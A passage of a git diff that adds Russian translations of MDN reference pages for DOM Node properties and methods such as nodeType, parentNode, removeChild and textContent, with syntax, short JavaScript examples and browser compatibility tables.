+<p>Это свойство только для чтения; пытаясь вводить информацию в него, будет сбрасывать исключение.<span id="result_box" lang="ru"><span class="hps">Кроме того,</span> <span class="hps">это свойство может</span> <span class="hps">быть</span> <span class="hps">доступно только для</span> <span class="hps">привилегированного</span> <span class="hps">кода.</span></span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Нет никакой спецификации.</p>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/api/node/nodetype/index.html b/files/ru/web/api/node/nodetype/index.html
new file mode 100644
index 0000000000..607596cc83
--- /dev/null
+++ b/files/ru/web/api/node/nodetype/index.html
@@ -0,0 +1,93 @@
+---
+title: Node.nodeType
+slug: Web/API/Node/nodeType
+translation_of: Web/API/Node/nodeType
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Доступное только для чтения свойство <code>Node.nodeType</code> возвращает беззнаковое короткое целочисленное значение, представляющее тип узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>type</var> = <var>node</var>.nodeType;
+</pre>
+
+<p><code>type</code> – беззнаковое короткое целочисленное значение с одним из следующих значений:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Element"><code>ELEMENT_NODE</code></a></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Text"><code>TEXT_NODE</code></a></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ProcessingInstruction"><code>PROCESSING_INSTRUCTION_NODE</code></a></td>
+   <td><code>7</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/document.createComment"><code>COMMENT_NODE</code></a></td>
+   <td><code>8</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/HTML/Element/html"><code>DOCUMENT_NODE</code></a></td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/document.doctype"><code>DOCUMENT_TYPE_NODE</code></a></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/DocumentFragment"><code>DOCUMENT_FRAGMENT_NODE</code></a></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>12</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В примере проверяется, является ли первый узел внутри <code>documentElement</code> узлом комментария, если нет, то выводится сообщение.</p>
+
+<pre class="brush: js">var node = document.documentElement.firstChild;
+if (node.nodeType != Node.COMMENT_NODE)
+  console.log("You should comment your code well!");
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-111237558">DOM Level 2 Core: Node.nodeType</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-111237558">DOM Level 3 Core: Node.nodeType</a></li>
+ <li><a class="external" href="http://dom.spec.whatwg.org/#node">DOM Standard</a></li>
+</ul>
diff --git a/files/ru/web/api/node/nodevalue/index.html b/files/ru/web/api/node/nodevalue/index.html
new file mode 100644
index 0000000000..62655c1875
--- /dev/null
+++ b/files/ru/web/api/node/nodevalue/index.html
@@ -0,0 +1,86 @@
+---
+title: Node.nodeValue
+slug: Web/API/Node/nodeValue
+translation_of: Web/API/Node/nodeValue
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.nodeValue</strong></code> возвращает или устанавливает значение текущего узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>value</var> = <var>node</var>.nodeValue;
+</pre>
+
+<p><code>value</code> это строка содержащая значение текущего узла, если таковой имеется.</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Для самого документа, <code>nodeValue</code> возвращает <code>null</code>. Для текста, коментария и CDATA узлов, <code>nodeValue</code> возвращает содержимое узла. Для узла атрибута, вернется значение атрибута.</p>
+
+<p>Следующая таблица, показывает возвращаемые значения различных элементов:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Attr</th>
+   <th>Значение атрибута</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>CDATASection</td>
+   <td>Содержимое секции CDATA</td>
+  </tr>
+  <tr>
+   <td>Comment</td>
+   <td>Содержимое комментария</td>
+  </tr>
+  <tr>
+   <td>Document</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentType</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Element</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>NamedNodeMap</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>EntityReference</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Notation</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>ProcessingInstruction</td>
+   <td>Все содержимое исключая цель</td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>Содержимое текстового узла</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Когда <code>nodeValue</code> равно <code>null</code>, установки не имеют эффекта.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D080">DOM Level 2 Core: Node.nodeValue</a></li>
+</ul>
diff --git a/files/ru/web/api/node/normalize/index.html b/files/ru/web/api/node/normalize/index.html
new file mode 100644
index 0000000000..03c5d9e044
--- /dev/null
+++ b/files/ru/web/api/node/normalize/index.html
@@ -0,0 +1,43 @@
+---
+title: Node.normalize()
+slug: Web/API/Node/normalize
+translation_of: Web/API/Node/normalize
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <code><strong>Node.normalize()</strong></code> преобразует указанный узел и все его под-деревья в "нормализованный" вид. В нормализованном под-дереве нет ни пустых, ни смежных текстовых узлов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>element</em>.normalize();
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// At this point, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// Now, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Text.splitText" title="DOM/Text.splitText"><code>Text.splitText</code></a></li>
+</ul>
diff --git a/files/ru/web/api/node/ownerdocument/index.html b/files/ru/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..5c0fa52e58
--- /dev/null
+++ b/files/ru/web/api/node/ownerdocument/index.html
@@ -0,0 +1,94 @@
+---
+title: Node.ownerDocument
+slug: Web/API/Node/ownerDocument
+translation_of: Web/API/Node/ownerDocument
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.ownerDocument</strong></code> только для чтения, возвращающее объект документа верхнего уровня для этого узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>document</em> = element.ownerDocument
+</pre>
+
+<ul>
+ <li><code>document</code> это объект <a href="/en-US/docs/DOM/document" title="DOM/document"><code>document</code></a> родитель текущего элемента.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Объект <code>document</code>, возвращаемый этим свойством, это основной объект с которым все дочерние узлы в настоящем  HTML документе созданы. Если это свойство используется для узла самого документа, результат будет <code>null</code>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0 [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx</a></p>
+
+<h3 id="Gecko_примечание">Gecko примечание</h3>
+
+<p>Начиная с Gecko 9.0 {{geckoRelease("9.0")}}, <code>ownerDocument</code> узлы doctype (т.е. для которых {{domxref("Node.nodeType")}} это <code>Node.DOCUMENT_TYPE_NODE</code> или 10) больше не null. Вместо этого,  <code>ownerDocument</code> это документ по которому <a href="/en-US/docs/DOM/DOMImplementation.createDocumentType" title="DOM/DOMImplementation.createDocumentType"><code>document.implementation.createDocumentType()</code></a> будет вызван.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#node-ownerDoc">DOM Level 2 Core: Node.ownerDocument</a></li>
+</ul>
diff --git a/files/ru/web/api/node/parentelement/index.html b/files/ru/web/api/node/parentelement/index.html
new file mode 100644
index 0000000000..da4c085552
--- /dev/null
+++ b/files/ru/web/api/node/parentelement/index.html
@@ -0,0 +1,86 @@
+---
+title: Node.parentElement
+slug: Web/API/Node/parentElement
+translation_of: Web/API/Node/parentElement
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.parentElement</strong></code> только для чтения, возвращает родителя узла DOM {{domxref("Element")}}, или <code>null</code> если узел не имеет родителя, или его родитель не DOM {{domxref("Element")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>parentElement</em> = <em>node</em>.parentElement</pre>
+
+<p><code>parentElement</code> это родительский элемент текущего узла. Это всегда объект DOM {{domxref("Element")}}, или <code>null</code>.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (node.parentElement) {
+    node.parentElement.style.color = "red";
+}</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>В некоторых браузерах, свойство <code>parentElement</code> определено только для узлов, которые сами {{domxref("Element")}}. В частности, не определено для текстовых узлов.</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая подержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatVersionUnknown}} (only on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}} (only on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li>{{spec("http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#parent-element", "DOM Level 4: Node.parentElement", "WD")}}</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.parentNode")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/parentnode/index.html b/files/ru/web/api/node/parentnode/index.html
new file mode 100644
index 0000000000..139880247f
--- /dev/null
+++ b/files/ru/web/api/node/parentnode/index.html
@@ -0,0 +1,102 @@
+---
+title: Node.parentNode
+slug: Web/API/Node/parentNode
+tags:
+  - API
+  - DOM
+  - Method
+translation_of: Web/API/Node/parentNode
+---
+<div>{{ApiRef}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Возвращает родителя определенного элемента DOM дерева.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>parentNode</em> = <em>node</em>.parentNode
+</pre>
+
+<p><code>parentNode</code> родитель текущего элемента. Родитель элемента является <code>Element</code> узлом, <code>Document</code> узлом, или <code>DocumentFragment</code> узлом.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (node.parentNode) {
+  // удаляем элемент из дерева
+  node.parentNode.removeChild(node);
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>Document</code> и <code>DocumentFragment</code> <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">nodes</a> <em> могут не иметь родителя</em>, в этом случае <code>parentNode</code> всегда возвращает <code>null</code>.</p>
+
+<p>Так же возвращает <code>null</code> если элемент только был создан и еще не добавлен в DOM дерево.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>0.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1060184317">DOM Level 3 Core: Node.parentNode</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{Domxref("Node.firstChild")}}</li>
+ <li>{{Domxref("Node.lastChild")}}</li>
+ <li>{{Domxref("Node.childNodes")}}</li>
+ <li>{{Domxref("Node.nextSibling")}}</li>
+ <li>{{Domxref("Node.previousSibling")}}</li>
+ <li>{{Domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/prefix/index.html b/files/ru/web/api/node/prefix/index.html
new file mode 100644
index 0000000000..f0db5aa76f
--- /dev/null
+++ b/files/ru/web/api/node/prefix/index.html
@@ -0,0 +1,90 @@
+---
+title: Node.prefix
+slug: Web/API/Node/prefix
+translation_of: Web/API/Node/prefix
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.prefix</strong></code> только для чтения, возвращающее префикс пространства имен указанного узла или <code>null,</code> если не указан префикс. Это свойство только для чтения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>string</var> = element.prefix
+</pre>
+
+<h2 id="Examples" name="Examples">Пример</h2>
+
+<p>Следующее выражение выведет "x".</p>
+
+<pre class="brush:xml">&lt;x:div onclick="alert(this.prefix)"/&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Это будет работать только когда используется соответствующий парсер пространства имен. т.е. когда документ обработан как XML mime-type. Это не будет роботать для документов HTML.</p>
+
+<h2 id="Specification" name="Specification">Спицификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSPrefix">Node.prefix</a> (введено в употребление в DOM2)</li>
+</ul>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+
+    <p>До Gecko 5.0 {{geckoRelease("5.0")}}, это свойство было для чтения-записи; Специфифкация говорит что должно быть, толко для чтения и теперь это так.</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+
+    <p>До Gecko 5.0 {{geckoRelease("5.0")}}, это свойство было для чтения-записи; Спецификация говорит, что должно быть только для чтения и теперь это так.</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/node/previoussibling/index.html b/files/ru/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..7da55e04c3
--- /dev/null
+++ b/files/ru/web/api/node/previoussibling/index.html
@@ -0,0 +1,51 @@
+---
+title: Node.previousSibling
+slug: Web/API/Node/previousSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Property
+  - Свойство
+  - Узел
+  - Узлы
+translation_of: Web/API/Node/previousSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.previousSibling</strong></code> используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе {{domxref("Node.childNodes", "childNodes")}}, или <code>null</code>,  если указанный узел первый в своём родителе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>previousNode</var> = <em>node</em>.previousSibling;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// &lt;a&gt;&lt;b1 id="b1"/&gt;&lt;b2 id="b2"/&gt;&lt;/a&gt;
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<div><p>Браузеры, основанные на Gecko, вставляют текстовые узлы в документ для представления пробелов в разметке.
+    Поэтому узел, полученный, например, при использовании <a href="/ru/docs/Web/API/Node/firstChild" title="Свойство Node.firstChild только для чтения, возвращающее первый потомок узла в древе или null, если узел является бездетным. Если узел это документ, он возвращает первый узел в списке своих прямых детей."><code>Node.firstChild</code></a> или <a href="/ru/docs/Web/API/Node/previousSibling" title="Свойство Node.previousSibling используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе childNodes, или null,  если указанный узел первый в своём родителе."><code>Node.previousSibling</code></a> может относиться к
+    пробелу, а не к тому элементу, который автор хотел получить.</p>
+
+    <p>Смотрите <a class="new" href="/ru/docs/Web/Guide/DOM/Whitespace_in_the_DOM" rel="nofollow">Пробел в DOM</a> и
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Почему некоторые текстовые узлы пустые?</a>
+    для дополнительной информации.</p></div>
+
+<p>Для навигации через список дочерних узлов в обратном порядке используйте <a href="/en-US/docs/Web/API/Node.nextSibling" title="DOM/Node.nextSibling">Node.nextSibling</a>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-640FB3C8">DOM Level 3 Core: previousSibling</a></li>
+</ul>
diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html
new file mode 100644
index 0000000000..738dadbaa6
--- /dev/null
+++ b/files/ru/web/api/node/removechild/index.html
@@ -0,0 +1,76 @@
+---
+title: Node.removeChild
+slug: Web/API/Node/removeChild
+tags:
+  - API
+  - DOM
+  - DOM Element Methods
+  - Method
+translation_of: Web/API/Node/removeChild
+---
+<div>{{ApiRef}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var oldChild</em> = <em>element</em>.removeChild(<em>child</em>);
+<em>element</em>.removeChild(<em>child</em>);
+</pre>
+
+<ul>
+ <li><code>child</code> дочерний элемент который будет удален из DOM.</li>
+ <li><code>element</code> родительский элемент удаляемого <code>child</code>.</li>
+ <li><code>oldChild</code> ссылка на удаляемый дочерний элемент. <code>oldChild</code> === <code>child</code>.</li>
+</ul>
+
+<p>Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - <code>oldChild</code>.</p>
+
+<p>Если <code>child</code> не является дочерним элементом <code>element</code>, тогда метод генерирует исключение. Также это происходит если <code>child</code> является дочерним элементом <code>element</code> во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>&lt;!-- Пример --&gt;
+
+&lt;div id="top" align="center"&gt;
+  &lt;div id="nested"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush:js">// <em>Удаление элемента с известным родителем</em>
+var d = document.getElementById("top");
+var d_nested = document.getElementById("nested");
+var throwawayNode = d.removeChild(d_nested);
+</pre>
+
+<pre class="brush:js">// Удаление элемента без указания его родителя
+var node = document.getElementById("nested");
+if (node.parentNode) {
+  node.parentNode.removeChild(node);
+}
+</pre>
+
+<pre class="brush:js">// Удаление всех дочерних элементов
+var element = document.getElementById("top");
+while (element.firstChild) {
+  element.removeChild(element.firstChild);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeChild">DOM Level 1 Core: removeChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1734834066">DOM Level 2 Core: removeChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1734834066">DOM Level 3 Core: removeChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.parentNode")}}</li>
+ <li>{{domxref("ChildNode.remove")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..479fae01e3
--- /dev/null
+++ b/files/ru/web/api/node/textcontent/index.html
@@ -0,0 +1,123 @@
+---
+title: Node.textContent
+slug: Web/API/Node/textContent
+tags:
+  - API
+  - Command API
+  - DOM
+  - Node
+  - Property
+  - Reference
+translation_of: Web/API/Node/textContent
+---
+<p>{{ApiRef}}</p>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Позволяет задавать или получать текстовое содержимое элемента и его потомков.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>text</em> = element.textContent;
+element.textContent = "Это просто текст";
+</pre>
+
+<h2 id="Notes" name="Notes">Описание</h2>
+
+<ul>
+ <li><code>textContent</code> возвращает <code>null,</code> <em> </em>если узел является <a href="/en-US/docs/DOM/document" title="DOM/Document">документом</a>, типом документа, или его описанием<em>.</em> Для получения <em>всего</em> текста и CDATA-данных во всём документе можно использовать <code> <a href="/en-US/docs/DOM/document.documentElement" title="DOM/document.documentElement">document.documentElement</a>.textContent</code>.</li>
+ <li>Если узел является CDATA, комментарием, инструкцией, или текстовым элементом, <code>textContent</code> возвращает текст внутри узла в виде строки (т.н. <a href="/en-US/docs/DOM/Node.nodeValue" title="DOM/Node/NodeValue/Node.nodeValue">nodeValue</a>).</li>
+ <li>Для узлов других типов <code>textContent</code> возвращает конкатенацию свойств <code>textContent</code> всех дочерних узлов, исключая комментарии и строки кода. Если узел не имеет дочерних узлов, будет возвращена пустая строка.</li>
+ <li>Установка данного значения удаляет все дочерние узлы и заменяет их единичным текстовым узлом с указанным значением.</li>
+</ul>
+
+<h3 id="Отличие_от_innerText">Отличие от <code>innerText</code></h3>
+
+<p><code>element.innerText</code> был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:</p>
+
+<ul>
+ <li><code>textContent</code> получает содержимое <em>всех</em> элементов, включая  {{HTMLElement("script")}} и {{HTMLElement("style")}}, тогда как <code>innerText</code> этого не делает.</li>
+ <li><code>innerText</code> умеет считывать стили и не возвращает содержимое скрытых элементов, тогда как <code>textContent</code> этого не делает.</li>
+ <li>Метод <code>innerText</code> позволяет получить CSS, а <code>textContent</code> — нет.</li>
+</ul>
+
+<h3 id="Отличие_от_innerHTML">Отличие от <code>innerHTML</code></h3>
+
+<p><code>innerHTML</code>, как можно понять из его названия, возвращает HTML. Довольно часто <code>innerHTML</code> используется для получения или записи текста в элемент. Тем не менее, вместо него желательно использовать <code>textContent</code>: этот метод потребляет гораздо меньше ресурсов, так как текст парсится как текст, а не HTML. Кроме того, это защищает от <span title="cross-site scripting">XSS</span> атак.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">// Дан следующий фрагмент:
+//   &lt;div id="block"&gt;Это — &lt;span&gt;просто&lt;/span&gt; текст&lt;/div&gt;
+
+// Достаем текстовое содержимое:
+var text = document.getElementById("block").textContent;
+// В переменной |text| находится: "Это — просто текст".
+
+// Меняем текст:
+document.getElementById("block").textContent = "Это — просто текст";
